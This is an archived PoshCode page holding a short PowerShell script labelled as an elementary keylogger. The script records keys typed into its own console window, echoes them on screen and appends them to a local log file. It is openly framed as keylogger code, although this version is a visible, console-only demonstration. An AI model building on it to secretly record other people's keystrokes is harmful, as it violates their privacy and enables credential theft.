PoshCode Archive  Artifact [79a14225eb]

Artifact 79a14225eb8986acfa1b7bc6bb1876e0edbc7371c7aec9be43b00e477ee3755e:

  • File Keylogger.ps1 — part of check-in [c36d8b80b9] at 2018-06-10 13:44:54 on branch trunk — Example of elementary keylogger. (user: greg zakharov size: 741)

# encoding: ascii
# api: powershell
# title: Keylogger
# description: Example of elementary keylogger.
# version: 0.1
# author: greg zakharov
# license: CC0
# x-poshcode-id: 4707
# x-archived: 2017-05-25T20:14:45
# x-published: 2014-12-17T10:22:00
#
#
[String]$buff = ""

while($true) {
  [Console]::ReadKey("`r") | % {
    if ($_.Key -eq 'Enter') {break}
    if ([Char]::IsLetterOrDigit($_.KeyChar) -or [Char]::IsWhiteSpace($_.KeyChar) -or`
        [Char]::IsPunctuation($_.KeyChar) -or [Char]::IsSymbol($_.KeyChar)) {
      $buff += $_.KeyChar
      Write-Host $_.KeyChar -no
    }
  }
}
""

if (-not [String]::IsNullOrEmpty($buff)) {
  Out-File ($pwd.Path + '\keylogger.log') -in $buff -enc ASCII -app -for
}